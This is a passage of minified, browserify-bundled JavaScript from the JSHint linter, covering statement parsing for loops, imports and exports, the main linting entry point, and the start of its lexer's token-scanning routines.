s,o=0,u=[\"in\",\"of\"],a=0,l,c;hn(f.tokens.next,[\"{\",\"[\"])&&++a;do{s=W(o),++o,hn(s,[\"{\",\"[\"])?++a:hn(s,[\"}\",\"]\"])&&--a;if(a<0)break;a===0&&(!l&&pn(s,\",\")?l=s:!c&&pn(s,\"=\")&&(c=s))}while(a>0||!r.contains(u,s.value)&&s.value!==\";\"&&s.type!==\"(end)\");if(r.contains(u,s.value)){!f.inES6()&&s.value===\"of\"&&F(\"W104\",s,\"for of\",\"6\");var h=!c&&!l;c&&q(\"W133\",l,s.value,\"initializer is forbidden\"),l&&q(\"W133\",l,s.value,\"more than one ForBinding\"),f.tokens.next.id===\"var\"?(V(\"var\"),f.tokens.curr.fud({prefix:!0})):f.tokens.next.id===\"let\"||f.tokens.next.id===\"const\"?(V(f.tokens.next.id),n=!0,f.funct[\"(scope)\"].stack(),f.tokens.curr.fud({prefix:!0})):Object.create(rn).fud({prefix:!0,implied:\"for\",ignore:!h}),V(s.value),Q(20),V(\")\",t),s.value===\"in\"&&f.option.forin&&(f.forinifcheckneeded=!0,f.forinifchecks===undefined&&(f.forinifchecks=[]),f.forinifchecks.push({type:\"(none)\"})),f.funct[\"(breakage)\"]+=1,f.funct[\"(loopage)\"]+=1,e=_t(!0,!0);if(s.value===\"in\"&&f.option.forin){if(f.forinifchecks&&f.forinifchecks.length>0){var p=f.forinifchecks.pop();(e&&e.length>0&&(typeof e[0]!=\"object\"||e[0].value!==\"if\")||p.type===\"(positive)\"&&e.length>1||p.type===\"(negative)\")&&F(\"W089\",this)}f.forinifcheckneeded=!1}f.funct[\"(breakage)\"]-=1,f.funct[\"(loopage)\"]-=1}else{i&&q(\"E045\",i);if(f.tokens.next.id!==\";\")if(f.tokens.next.id===\"var\")V(\"var\"),f.tokens.curr.fud();else if(f.tokens.next.id===\"let\")V(\"let\"),n=!0,f.funct[\"(scope)\"].stack(),f.tokens.curr.fud();else for(;;){Q(0,\"for\");if(f.tokens.next.id!==\",\")break;l()}Z(f.tokens.curr),V(\";\"),f.funct[\"(loopage)\"]+=1,f.tokens.next.id!==\";\"&&Jt(Q(0)),Z(f.tokens.curr),V(\";\"),f.tokens.next.id===\";\"&&q(\"E021\",f.tokens.next,\")\",\";\");if(f.tokens.next.id!==\")\")for(;;){Q(0,\"for\");if(f.tokens.next.id!==\",\")break;l()}V(\")\",t),f.funct[\"(breakage)\"]+=1,_t(!0,!0),f.funct[\"(breakage)\"]-=1,f.funct[\"(loopage)\"]-=1}return n&&f.funct[\"(scope)\"].unstack(),this}).labelled=!0,it(\"break\",function(){var e=f.tokens.next.value;return f.option.asi||Z(this),f.tokens.next.id!==\";\"&&!f.tokens.next.reach&&f.tokens.curr.line===G(f.tokens.next)?(f.funct[\"(scope)\"].funct.hasBreakLabel(e)||F(\"W090\",f.tokens.next,e),this.first=f.tokens.next,V()):f.funct[\"(breakage)\"]===0&&F(\"W052\",f.tokens.next,this.value),kt(this),this}).exps=!0,it(\"continue\",function(){var e=f.tokens.next.value;return f.funct[\"(breakage)\"]===0&&F(\"W052\",f.tokens.next,this.value),f.funct[\"(loopage)\"]||F(\"W052\",f.tokens.next,this.value),f.option.asi||Z(this),f.tokens.next.id!==\";\"&&!f.tokens.next.reach&&f.tokens.curr.line===G(f.tokens.next)&&(f.funct[\"(scope)\"].funct.hasBreakLabel(e)||F(\"W090\",f.tokens.next,e),this.first=f.tokens.next,V()),kt(this),this}).exps=!0,it(\"return\",function(){return this.line===G(f.tokens.next)?f.tokens.next.id!==\";\"&&!f.tokens.next.reach&&(this.first=Q(0),this.first&&this.first.type===\"(punctuator)\"&&this.first.value===\"=\"&&!this.first.paren&&!f.option.boss&&I(\"W093\",this.first.line,this.first.character)):f.tokens.next.type===\"(punctuator)\"&&[\"[\",\"{\",\"+\",\"-\"].indexOf(f.tokens.next.value)>-1&&Z(this),kt(this),this}).exps=!0,function(e){e.exps=!0,e.lbp=25}(ut(\"yield\",function(){var e=f.tokens.prev;f.inES6(!0)&&!f.funct[\"(generator)\"]?(\"(catch)\"!==f.funct[\"(name)\"]||!f.funct[\"(context)\"][\"(generator)\"])&&q(\"E046\",f.tokens.curr,\"yield\"):f.inES6()||F(\"W104\",f.tokens.curr,\"yield\",\"6\"),f.funct[\"(generator)\"]=\"yielded\";var t=!1;f.tokens.next.value===\"*\"&&(t=!0,V(\"*\"));if(this.line===G(f.tokens.next)||!f.inMoz()){if(t||f.tokens.next.id!==\";\"&&!f.option.asi&&!f.tokens.next.reach&&f.tokens.next.nud)Y(f.tokens.curr,f.tokens.next),this.first=Q(10),this.first.type===\"(punctuator)\"&&this.first.value===\"=\"&&!this.first.paren&&!f.option.boss&&I(\"W093\",this.first.line,this.first.character);f.inMoz()&&f.tokens.next.id!==\")\"&&(e.lbp>30||!e.assign&&!J()||e.id===\"yield\")&&q(\"E050\",this)}else f.option.asi||Z(this);return this})),it(\"throw\",function(){return Z(this),this.first=Q(20),kt(this),this}).exps=!0,it(\"import\",function(){f.inES6()||F(\"W119\",f.tokens.curr,\"import\",\"6\");if(f.tokens.next.type===\"(string)\")return V(\"(string)\"),this;if(f.tokens.next.identifier){this.name=Ct(),f.funct[\"(scope)\"].addlabel(this.name,{type:\"const\",token:f.tokens.curr});if(f.tokens.next.value!==\",\")return V(\"from\"),V(\"(string)\"),this;V(\",\")}if(f.tokens.next.id===\"*\")V(\"*\"),V(\"as\"),f.tokens.next.identifier&&(this.name=Ct(),f.funct[\"(scope)\"].addlabel(this.name,{type:\"const\",token:f.tokens.curr}));else{V(\"{\");for(;;){if(f.tokens.next.value===\"}\"){V(\"}\");break}var e;f.tokens.next.type===\"default\"?(e=\"default\",V(\"default\")):e=Ct(),f.tokens.next.value===\"as\"&&(V(\"as\"),e=Ct()),f.funct[\"(scope)\"].addlabel(e,{type:\"const\",token:f.tokens.curr});if(f.tokens.next.value!==\",\"){if(f.tokens.next.value===\"}\"){V(\"}\");break}q(\"E024\",f.tokens.next,f.tokens.next.value);break}V(\",\")}}return V(\"from\"),V(\"(string)\"),this}).exps=!0,it(\"export\",function(){var e=!0,t,n;f.inES6()||(F(\"W119\",f.tokens.curr,\"export\",\"6\"),e=!1),f.funct[\"(scope)\"].block.isGlobal()||(q(\"E053\",f.tokens.curr),e=!1);if(f.tokens.next.value===\"*\")return V(\"*\"),V(\"from\"),V(\"(string)\"),this;if(f.tokens.next.type===\"default\"){f.nameStack.set(f.tokens.next),V(\"default\");var r=f.tokens.next.id;if(r===\"function\"||r===\"class\")this.block=!0;return t=W(),Q(10),n=t.value,this.block&&(f.funct[\"(scope)\"].addlabel(n,{type:r,token:t}),f.funct[\"(scope)\"].setExported(n,t)),this}if(f.tokens.next.value===\"{\"){V(\"{\");var i=[];for(;;){f.tokens.next.identifier||q(\"E030\",f.tokens.next,f.tokens.next.value),V(),i.push(f.tokens.curr),f.tokens.next.value===\"as\"&&(V(\"as\"),f.tokens.next.identifier||q(\"E030\",f.tokens.next,f.tokens.next.value),V());if(f.tokens.next.value!==\",\"){if(f.tokens.next.value===\"}\"){V(\"}\");break}q(\"E024\",f.tokens.next,f.tokens.next.value);break}V(\",\")}return f.tokens.next.value===\"from\"?(V(\"from\"),V(\"(string)\")):e&&i.forEach(function(e){f.funct[\"(scope)\"].setExported(e.value,e)}),this}if(f.tokens.next.id===\"var\")V(\"var\"),f.tokens.curr.fud({inexport:!0});else if(f.tokens.next.id===\"let\")V(\"let\"),f.tokens.curr.fud({inexport:!0});else if(f.tokens.next.id===\"const\")V(\"const\"),f.tokens.curr.fud({inexport:!0});else if(f.tokens.next.id===\"function\")this.block=!0,V(\"function\"),f.syntax[\"function\"].fud({inexport:!0});else if(f.tokens.next.id===\"class\"){this.block=!0,V(\"class\");var s=f.tokens.next;f.syntax[\"class\"].fud(),f.funct[\"(scope)\"].setExported(s.value,s)}else q(\"E024\",f.tokens.next,f.tokens.next.value);return this}).exps=!0,lt(\"abstract\"),lt(\"boolean\"),lt(\"byte\"),lt(\"char\"),lt(\"class\",{es5:!0,nud:sn}),lt(\"double\"),lt(\"enum\",{es5:!0}),lt(\"export\",{es5:!0}),lt(\"extends\",{es5:!0}),lt(\"final\"),lt(\"float\"),lt(\"goto\"),lt(\"implements\",{es5:!0,strictOnly:!0}),lt(\"import\",{es5:!0}),lt(\"int\"),lt(\"interface\",{es5:!0,strictOnly:!0}),lt(\"long\"),lt(\"native\"),lt(\"package\",{es5:!0,strictOnly:!0}),lt(\"private\",{es5:!0,strictOnly:!0}),lt(\"protected\",{es5:!0,strictOnly:!0}),lt(\"public\",{es5:!0,strictOnly:!0}),lt(\"short\"),lt(\"static\",{es5:!0,strictOnly:!0}),lt(\"super\",{es5:!0}),lt(\"synchronized\"),lt(\"transient\"),lt(\"volatile\");var an=function(){var e,t,n,r=-1,i=0,s={};hn(f.tokens.curr,[\"[\",\"{\"])&&(i+=1);do{n=r===-1?f.tokens.curr:e,e=r===-1?f.tokens.next:W(r),t=W(r+1),r+=1,hn(e,[\"[\",\"{\"])?i+=1:hn(e,[\"]\",\"}\"])&&(i-=1);if(i===1&&e.identifier&&e.value===\"for\"&&!pn(n,\".\")){s.isCompArray=!0,s.notJson=!0;break}if(i===0&&hn(e,[\"}\",\"]\"])){if(t.value===\"=\"){s.isDestAssign=!0,s.notJson=!0;break}if(t.value===\".\"){s.notJson=!0;break}}pn(e,\";\")&&(s.isBlock=!0,s.notJson=!0)}while(i>0&&e.id!==\"(end)\");return s},vn=function(){function i(e){var t=n.variables.filter(function(t){if(t.value===e)return t.undef=!1,e}).length;return t!==0}function s(e){var t=n.variables.filter(function(t){if(t.value===e&&!t.undef)return t.unused===!0&&(t.unused=!1),e}).length;return t===0}var e=function(){this.mode=\"use\",this.variables=[]},t=[],n;return{stack:function(){n=new e,t.push(n)},unstack:function(){n.variables.filter(function(e){e.unused&&F(\"W098\",e.token,e.raw_text||e.value),e.undef&&f.funct[\"(scope)\"].block.use(e.value,e.token)}),t.splice(-1,1),n=t[t.length-1]},setState:function(e){r.contains([\"use\",\"define\",\"generate\",\"filter\"],e)&&(n.mode=e)},check:function(e){if(!n)return;return n&&n.mode===\"use\"?(s(e)&&n.variables.push({funct:f.funct,token:f.tokens.curr,value:e,undef:!0,unused:!1}),!0):n&&n.mode===\"define\"?(i(e)||n.variables.push({funct:f.funct,token:f.tokens.curr,value:e,undef:!1,unused:!0}),!0):n&&n.mode===\"generate\"?(f.funct[\"(scope)\"].block.use(e,f.tokens.curr),!0):n&&n.mode===\"filter\"?(s(e)&&f.funct[\"(scope)\"].block.use(e,f.tokens.curr),!0):!1}}},gn=function(e){return e.replace(/[-\\/\\\\^$*+?.()|[\\]{}]/g,\"\\\\$&\")},yn=function(t,i,o){function U(e,t){if(!e)return;!Array.isArray(e)&&typeof e==\"object\"&&(e=Object.keys(e)),e.forEach(t)}var a,l,c,d,A,O,M={},P={};i=r.clone(i),f.reset(),i&&i.scope?p.scope=i.scope:(p.errors=[],p.undefs=[],p.internals=[],p.blacklist={},p.scope=\"(main)\"),S=Object.create(null),D(S,s.ecmaIdentifiers[3]),D(S,s.reservedVars),D(S,o||{}),n=Object.create(null);var j=Object.create(null);if(i){U(i.predef||null,function(e){var t,n;e[0]===\"-\"?(t=e.slice(1),p.blacklist[t]=t,delete S[t]):(n=Object.getOwnPropertyDescriptor(i.predef,e),S[e]=n?n.value:!1)}),U(i.exported||null,function(e){j[e]=!0}),delete i.predef,delete i.exported,O=Object.keys(i);for(c=0;c<O.length;c++)if(/^-W\\d{3}$/g.test(O[c]))P[O[c].slice(1)]=!0;else{var z=O[c];M[z]=i[z],(z===\"esversion\"&&i[z]===5||z===\"es5\"&&i[z])&&F(\"I003\"),O[c]===\"newcap\"&&i[z]===!1&&(M[\"(explicitNewcap)\"]=!0)}}f.option=M,f.ignored=P,f.option.indent=f.option.indent||4,f.option.maxerr=f.option.maxerr||50,g=1;var W=h(f,S,j,n);W.on(\"warning\",function(e){F.apply(null,[e.code,e.token].concat(e.data))}),W.on(\"error\",function(e){q.apply(null,[e.code,e.token].concat(e.data))}),f.funct=Rt(\"(global)\",null,{\"(global)\":!0,\"(scope)\":W,\"(comparray)\":vn(),\"(metrics)\":Vt(f.tokens.next)}),v=[f.funct],T=[],x=null,w={},E=null,m=!1,y=[];if(!L(t)&&!Array.isArray(t))return R(\"E004\",0),!1;e={get isJSON(){return f.jsonMode},getOption:function(e){return f.option[e]||null},getCache:function(e){return f.cache[e]},setCache:function(e,t){f.cache[e]=t},warn:function(e,t){I.apply(null,[e,t.line,t.char].concat(t.data))},on:function(e,t){e.split(\" \").forEach(function(e){C.on(e,t)}.bind(this))}},C.removeAllListeners(),(N||[]).forEach(function(t){t(e)}),f.tokens.prev=f.tokens.curr=f.tokens.next=f.syntax[\"(begin)\"],i&&i.ignoreDelimiters&&(Array.isArray(i.ignoreDelimiters)||(i.ignoreDelimiters=[i.ignoreDelimiters]),i.ignoreDelimiters.forEach(function(e){if(!e.start||!e.end)return;d=gn(e.start)+\"[\\\\s\\\\S]*?\"+gn(e.end),A=new RegExp(d,\"ig\"),t=t.replace(A,function(e){return e.replace(/./g,\" \")})})),b=new u(t),b.on(\"warning\",function(e){I.apply(null,[e.code,e.line,e.character].concat(e.data))}),b.on(\"error\",function(e){R.apply(null,[e.code,e.line,e.character].concat(e.data))}),b.on(\"fatal\",function(e){B(\"E041\",e.line,e.from)}),b.on(\"Identifier\",function(e){C.emit(\"Identifier\",e)}),b.on(\"String\",function(e){C.emit(\"String\",e)}),b.on(\"Number\",function(e){C.emit(\"Number\",e)}),b.start();for(var X in i)r.has(i,X)&&k(X,f.tokens.curr);H(),D(S,o||{}),tt.first=!0;try{V();switch(f.tokens.next.id){case\"{\":case\"[\":dn();break;default:Mt(),f.directive[\"use strict\"]&&f.option.strict!==\"global\"&&F(\"W097\",f.tokens.prev),Ot()}f.tokens.next.id!==\"(end)\"&&B(\"E041\",f.tokens.curr.line),f.funct[\"(scope)\"].unstack()}catch($){if(!$||$.name!==\"JSHintError\")throw $;var J=f.tokens.next||{};p.errors.push({scope:\"(main)\",raw:$.raw,code:$.code,reason:$.message,line:$.line||J.line,character:$.character||J.from},null)}if(p.scope===\"(main)\"){i=i||{};for(a=0;a<p.internals.length;a+=1)l=p.internals[a],i.scope=l.elem,yn(l.value,i,o)}return p.errors.length===0};return yn.addModule=function(e){N.push(e)},yn.addModule(l.register),yn.data=function(){var e={functions:[],options:f.option},t,n,r,i,s,o;yn.errors.length&&(e.errors=yn.errors),f.jsonMode&&(e.json=!0);var u=f.funct[\"(scope)\"].getImpliedGlobals();u.length>0&&(e.implieds=u),T.length>0&&(e.urls=T),o=f.funct[\"(scope)\"].getUsedOrDefinedGlobals(),o.length>0&&(e.globals=o);for(r=1;r<v.length;r+=1){n=v[r],t={};for(i=0;i<d.length;i+=1)t[d[i]]=[];for(i=0;i<d.length;i+=1)t[d[i]].length===0&&delete t[d[i]];t.name=n[\"(name)\"],t.param=n[\"(params)\"],t.line=n[\"(line)\"],t.character=n[\"(character)\"],t.last=n[\"(last)\"],t.lastcharacter=n[\"(lastcharacter)\"],t.metrics={complexity:n[\"(metrics)\"].ComplexityCount,parameters:n[\"(metrics)\"].arity,statements:n[\"(metrics)\"].statementCount},e.functions.push(t)}var a=f.funct[\"(scope)\"].getUnuseds();a.length>0&&(e.unused=a);for(s in w)if(typeof w[s]==\"number\"){e.member=w;break}return e},yn.jshint=yn,yn}();typeof n==\"object\"&&n&&(n.JSHINT=p)},{\"../lodash\":\"/node_modules/jshint/lodash.js\",\"./lex.js\":\"/node_modules/jshint/src/lex.js\",\"./messages.js\":\"/node_modules/jshint/src/messages.js\",\"./options.js\":\"/node_modules/jshint/src/options.js\",\"./reg.js\":\"/node_modules/jshint/src/reg.js\",\"./scope-manager.js\":\"/node_modules/jshint/src/scope-manager.js\",\"./state.js\":\"/node_modules/jshint/src/state.js\",\"./style.js\":\"/node_modules/jshint/src/style.js\",\"./vars.js\":\"/node_modules/jshint/src/vars.js\",events:\"/node_modules/browserify/node_modules/events/events.js\"}],\"/node_modules/jshint/src/lex.js\":[function(e,t,n){\"use strict\";function h(){var e=[];return{push:function(t){e.push(t)},check:function(){for(var t=0;t<e.length;++t)e[t]();e.splice(0,e.length)}}}function p(e){var t=e;typeof t==\"string\"&&(t=t.replace(/\\r\\n/g,\"\\n\").replace(/\\r/g,\"\\n\").split(\"\\n\")),t[0]&&t[0].substr(0,2)===\"#!\"&&(t[0].indexOf(\"node\")!==-1&&(o.option.node=!0),t[0]=\"\"),this.emitter=new i.EventEmitter,this.source=e,this.setLines(t),this.prereg=!0,this.line=0,this.char=1,this.from=1,this.input=\"\",this.inComment=!1,this.context=[],this.templateStarts=[];for(var n=0;n<o.option.indent;n+=1)o.tab+=\" \";this.ignoreLinterErrors=!1}var r=e(\"../lodash\"),i=e(\"events\"),s=e(\"./reg.js\"),o=e(\"./state.js\").state,u=e(\"../data/ascii-identifier-data.js\"),a=u.asciiIdentifierStartTable,f=u.asciiIdentifierPartTable,l={Identifier:1,Punctuator:2,NumericLiteral:3,StringLiteral:4,Comment:5,Keyword:6,NullLiteral:7,BooleanLiteral:8,RegExp:9,TemplateHead:10,TemplateMiddle:11,TemplateTail:12,NoSubstTemplate:13},c={Block:1,Template:2};p.prototype={_lines:[],inContext:function(e){return this.context.length>0&&this.context[this.context.length-1].type===e},pushContext:function(e){this.context.push({type:e})},popContext:function(){return this.context.pop()},isContext:function(e){return this.context.length>0&&this.context[this.context.length-1]===e},currentContext:function(){return this.context.length>0&&this.context[this.context.length-1]},getLines:function(){return this._lines=o.lines,this._lines},setLines:function(e){this._lines=e,o.lines=this._lines},peek:function(e){return this.input.charAt(e||0)},skip:function(e){e=e||1,this.char+=e,this.input=this.input.slice(e)},on:function(e,t){e.split(\" \").forEach(function(e){this.emitter.on(e,t)}.bind(this))},trigger:function(){this.emitter.emit.apply(this.emitter,Array.prototype.slice.call(arguments))},triggerAsync:function(e,t,n,r){n.push(function(){r()&&this.trigger(e,t)}.bind(this))},scanPunctuator:function(){var e=this.peek(),t,n,r;switch(e){case\".\":if(/^[0-9]$/.test(this.peek(1)))return null;if(this.peek(1)===\".\"&&this.peek(2)===\".\")return{type:l.Punctuator,value:\"...\"};case\"(\":case\")\":case\";\":case\",\":case\"[\":case\"]\":case\":\":case\"~\":case\"?\":return{type:l.Punctuator,value:e};case\"{\":return this.pushContext(c.Block),{type:l.Punctuator,value:e};case\"}\":return this.inContext(c.Block)&&this.popContext(),{type:l.Punctuator,value:e};case\"#\":return{type:l.Punctuator,value:e};case\"\":return null}return t=this.peek(1),n=this.peek(2),r=this.peek(3),e===\">\"&&t===\">\"&&n===\">\"&&r===\"=\"?{type:l.Punctuator,value:\">>>=\"}:e===\"=\"&&t===\"=\"&&n===\"=\"?{type:l.Punctuator,value:\"===\"}:e===\"!\"&&t===\"=\"&&n===\"=\"?{type:l.Punctuator,value:\"!==\"}:e===\">\"&&t===\">\"&&n===\">\"?{type:l.Punctuator,value:\">>>\"}:e===\"<\"&&t===\"<\"&&n===\"=\"?{type:l.Punctuator,value:\"<<=\"}:e===\">\"&&t===\">\"&&n===\"=\"?{type:l.Punctuator,value:\">>=\"}:e===\"=\"&&t===\">\"?{type:l.Punctuator,value:e+t}:e===t&&\"+-<>&|\".indexOf(e)>=0?{type:l.Punctuator,value:e+t}:\"<>=!+-*%&|^\".indexOf(e)>=0?t===\"=\"?{type:l.Punctuator,value:e+t}:{type:l.Punctuator,value:e}:e===\"/\"?t===\"=\"?{type:l.Punctuator,value:\"/=\"}:{type:l.Punctuator,value:\"/\"}:null},scanComments:function(){function u(e,t,n){var r=[\"jshint\",\"jslint\",\"members\",\"member\",\"globals\",\"global\",\"exported\"],i=!1,u=e+t,a=\"plain\";return n=n||{},n.isMultiline&&(u+=\"*/\"),t=t.replace(/\\n/g,\" \"),e===\"/*\"&&s.fallsThrough.test(t)&&(i=!0,a=\"falls through\"),r.forEach(function(n){if(i)return;if(e===\"//\"&&n!==\"jshint\")return;t.charAt(n.length)===\" \"&&t.substr(0,n.length)===n&&(i=!0,e+=n,t=t.substr(n.length)),!i&&t.charAt(0)===\" \"&&t.charAt(n.length+1)===\" \"&&t.substr(1,n.length)===n&&(i=!0,e=e+\" \"+n,t=t.substr(n.length+1));if(!i)return;switch(n){case\"member\":a=\"members\";break;case\"global\":a=\"globals\";break;default:var r=t.split(\":\").map(function(e){return e.replace(/^\\s+/,\"\").replace(/\\s+$/,\"\")});if(r.length===2)switch(r[0]){case\"ignore\":switch(r[1]){case\"start\":o.ignoringLinterErrors=!0,i=!1;break;case\"end\":o.ignoringLinterErrors=!1,i=!1}}a=n}}),{type:l.Comment,commentType:a,value:u,body:t,isSpecial:i,isMultiline:n.isMultiline||!1,isMalformed:n.isMalformed||!1}}var e=this.peek(),t=this.peek(1),n=this.input.substr(2),r=this.line,i=this.char,o=this;if(e===\"*\"&&t===\"/\")return this.trigger(\"error\",{code:\"E018\",line:r,character:i}),this.skip(2),null;if(e!==\"/\"||t!==\"*\"&&t!==\"/\")return null;if(t===\"/\")return this.skip(this.input.length),u(\"//\",n);var a=\"\";if(t===\"*\"){this.inComment=!0,this.skip(2);while(this.peek()!==\"*\"||this.peek(1)!==\"/\")if(this.peek()===\"\"){a+=\"\\n\";if(!this.nextLine())return this.trigger(\"error\",{code:\"E017\",line:r,character:i}),this.inComment=!1,u(\"/*\",a,{isMultiline:!0,isMalformed:!0})}else a+=this.peek(),this.skip();return this.skip(2),this.inComment=!1,u(\"/*\",a,{isMultiline:!0})}},scanKeyword:function(){var e=/^[a-zA-Z_$][a-zA-Z0-9_$]*/.exec(this.input),t=[\"if\",\"in\",\"do\",\"var\",\"for\",\"new\",\"try\",\"let\",\"this\",\"else\",\"case\",\"void\",\"with\",\"enum\",\"while\",\"break\",\"catch\",\"throw\",\"const\",\"yield\",\"class\",\"super\",\"return\",\"typeof\",\"delete\",\"switch\",\"export\",\"import\",\"default\",\"finally\",\"extends\",\"function\",\"continue\",\"debugger\",\"instanceof\"];return e&&t.indexOf(e[0])>=0?{type:l.Keyword,value:e[0]}:null},scanIdentifier:function(){function i(e){return e>256}function s(e){return e>256}function o(e){return/^[0-9a-fA-F]$/.test(e)}function p(e){return e.replace(/\\\\u([0-9a-fA-F]{4})/g,function(e,t){return String.fromCharCode(parseInt(t,16))})}var e=\"\",t=0,n,r,u=function(){t+=1;if(this.peek(t)!==\"u\")return null;var e=this.peek(t+1),n=this.peek(t+2),r=this.peek(t+3),i=this.peek(t+4),u;return o(e)&&o(n)&&o(r)&&o(i)?(u=parseInt(e+n+r+i,16),f[u]||s(u)?(t+=5,\"\\\\u\"+e+n+r+i):null):null}.bind(this),c=function(){var e=this.peek(t),n=e.charCodeAt(0);return n===92?u():n<128?a[n]?(t+=1,e):null:i(n)?(t+=1,e):null}.bind(this),h=function(){var e=this.peek(t),n=e.charCodeAt(0);return n===92?u():n<128?f[n]?(t+=1,e):null:s(n)?(t+=1,e):null}.bind(this);r=c();if(r===null)return null;e=r;for(;;){r=h();if(r===null)break;e+=r}switch(e){case\"true\":case\"false\":n=l.BooleanLiteral;break;case\"null\":n=l.NullLiteral;break;default:n=l.Identifier}return{type:n,value:p(e),text:e,tokenLength:e.length}},scanNumericLiteral:function(){function f(e){return/^[0-9]$/.test(e)}function c(e){return/^[0-7]$/.test(e)}function h(e){return/^[01]$/.test(e)}function p(e){return/^[0-9a-fA-F]$/.test(e)}function d(e){return e===\"$\"||e===\"_\"||e===\"\\\\\"||e>=\"a\"&&e<=\"z\"||e>=\"A\"&&e<=\"Z\"}var e=0,t=\"\",n=this.input.length,r=this.peek(e),i,s=f,u=10,a=!1;if(r!==\".\"&&!f(r))return null;if(r!==\".\"){t=this.peek(e),e+=1,r=this.peek(e);if(t===\"0\"){if(r===\"x\"||r===\"X\")s=p,u=16,e+=1,t+=r;if(r===\"o\"||r===\"O\")s=c,u=8,o.inES6(!0)||this.trigger(\"warning\",{code:\"W119\",line:this.line,character:this.char,data:[\"Octal integer literal\",\"6\"]}),e+=1,t+=r;if(r===\"b\"||r===\"B\")s=h,u=2,o.inES6(!0)||this.trigger(\"warning\",{code:\"W119\",line:this.line,character:this.char,data:[\"Binary integer literal\",\"6\"]}),e+=1,t+=r;c(r)&&(s=c,u=8,a=!0,i=!1,e+=1,t+=r),!c(r)&&f(r)&&(e+=1,t+=r)}while(e<n){r=this.peek(e);if(a&&f(r))i=!0;else if(!s(r))break;t+=r,e+=1}if(s!==f){if(!a&&t.length<=2)return{type:l.NumericLiteral,value:t,isMalformed:!0};if(e<n){r=this.peek(e);if(d(r))return null}return{type:l.NumericLiteral,value:t,base:u,isLegacy:a,isMalformed:!1}}}if(r===\".\"){t+=r,e+=1;while(e<n){r=this.peek(e);if(!f(r))break;t+=r,e+=1}}if(r===\"e\"||r===\"E\"){t+=r,e+=1,r=this.peek(e);if(r===\"+\"||r===\"-\")t+=this.peek(e),e+=1;r=this.peek(e);if(!f(r))return null;t+=r,e+=1;while(e<n){r=this.peek(e);if(!f(r))break;t+=r,e+=1}}if(e<n){r=this.peek(e);if(d(r))return null}return{type:l.NumericLiteral,value:t,base:u,isMalformed:!isFinite(t)}},scanEscapeSequence:function(e){var t=!1,n=1;this.skip();var r=this.peek();switch(r){case\"'\":this.triggerAsync(\"warning\",{code:\"W114\",line:this.line,character:this.char,data:[\"\\\\'\"]},e,function(){return o.jsonMode});break;case\"b\":r=\"\\\\b\";break;case\"f\":r=\"\\\\f\";break;case\"n\":r=\"\\\\n\";break;case\"r\":r=\"\\\\r\";break;case\"t\":r=\"\\\\t\";break;case\"0\":r=\"\\\\0\";var i=parseInt(this.peek(1),10);this.triggerAsync(\"warning\",{code:\"W115\",line:this.line,character:this.char},e,function(){return i>=0&&i<=7&&o.isStrict()});break;case\"u\":var s=this.input.substr(1,4),u=parseInt(s,16);isNaN(u)&&this.trigger(\"warning\",{code:\"W052\",line:this.line,character:this.char,data:[\"u\"+s]}),r=String.fromCharCode(u),n=5;break;case\"v\":this.triggerAsync(\"warning\",{code:\"W114\",line:this.line,character:this.char,data:[\"\\\\v\"]},e,function(){return o.jsonMode}),r=\"\u000b\";break;case\"x\":var a=parseInt(this.input.substr(1,2),16);this.triggerAsync(\"warning\",{code:\"W114\",line:this.line,character:this.char,data:[\"\\\\x-\"]},e,function(){return o.jsonMode}),r=String.fromCharCode(a),n=3;break;case\"\\\\\":r=\"\\\\\\\\\";break;case'\"':r='\\\\\"';break;case\"/\":break;case\"\":t=!0,r=\"\"}return{\"char\":r,jump:n,allowNewLine:t}},scanTemplateLiteral:function(e){var t,n=\"\",r,i=this.line,s=this.char,u=this.templateStarts.length;if(!o.inES6(!0))return null;if(this.peek()===\"`\")t=l.TemplateHead,this.templateStarts.push({line:this.line,\"char\":this.char}),u=this.templateStarts.length,this.skip(1),this.pushContext(c.Template);else{if(!this.inContext(c.Template)||this.peek()!==\"}\")return null;t=l.TemplateMiddle}while(this.peek()!==\"`\"){while((r=this.peek())===\"\"){n+=\"\\n\";if(!this.nextLine()){var a=this.templateStarts.pop();return this.trigger(\"error\",{code:\"E052\",line:a.line,character:a.char}),{type:t,value:n,startLine:i,startChar:s,isUnclosed:!0,depth:u,context:this.popContext()}}}if(r===\"$\"&&this.peek(1)===\"{\")return n+=\"${\",this.skip(2),{type:t,value:n,startLine:i,startChar:s,isUnclosed:!1,depth:u,context:this.currentContext()};if(r===\"\\\\\"){var f=this.scanEscapeSequence(e);n+=f.char,this.skip(f.jump)}else r!==\"`\"&&(n+=r,this.skip(1))}return t=t===l.TemplateHead?l.NoSubstTemplate:l.TemplateTail,this.skip(1),this.templateStarts.pop(),{type:t,value:n,startLine:i,startChar:s,isUnclosed:!1,depth:u,context:this.popContext()}},scanStringLiteral:function(e){var t=this.peek();if(t!=='\"'&&t!==\"'\")return null;this.triggerAsync(\"warning\",{code:\"W108\",line:this.line,character:this.char},e,function(){return o.jsonMode&&t!=='\"'});var n=\"\",r=this.line,i=this.char,s=!1;this.skip();while(this.peek()!==t)if(this.peek()===\"\"){s?(s=!1,this.triggerAsync(\"warning\",{code:\"W043\",line:this.line,character:this.char},e,function(){return!o.option.multistr}),this.triggerAsync(\"warning\",{code:\"W042\",line:this.line,character:this.char},e,function(){return o.jsonMode&&o.option.multistr})):this.trigger(\"warning\",{code:\"W112\",line:this.line,character:this.char});if(!this.nextLine())return this.trigger(\"error\",{code:\"E029\",line:r,character:i}),{type:l.StringLiteral,value:n,startLine:r,startChar:i,isUnclosed:!0,quote:t}}else{s=!1;var u=this.peek(),a=1;u<\" \"&&this.trigger(\"warning\",{code:\"W113\",line:this.line,character:this.char,data:[\"<non-printable>\"]});if(u===\"\\\\\"){var f=this.scanEscapeSequence(e);u=f.char,a=f.jump,s=f.allowNewLine}n+=u,this.skip(a)}return this.skip(),{type:l.StringLiteral,value:n,startLine:r,startChar:i,isUnclosed:!1,quote:t}},scanRegExp:function(){var e=0,t=this.input.length,n=this.peek(),r=n,i=\"\",s=[],o=!1,u=!1,a,f=function(){n<\" \"&&(o=!0,this.trigger(\"warning\",{code:\"W048\",line:this.line,character:this.char})),n===\"<\"&&(o=!0,this.trigger(\"warning\",{code:\"W049\",line:this.line,character:this.char,data:[n]}))}.bind(this);if(!this.prereg||n!==\"/\")return 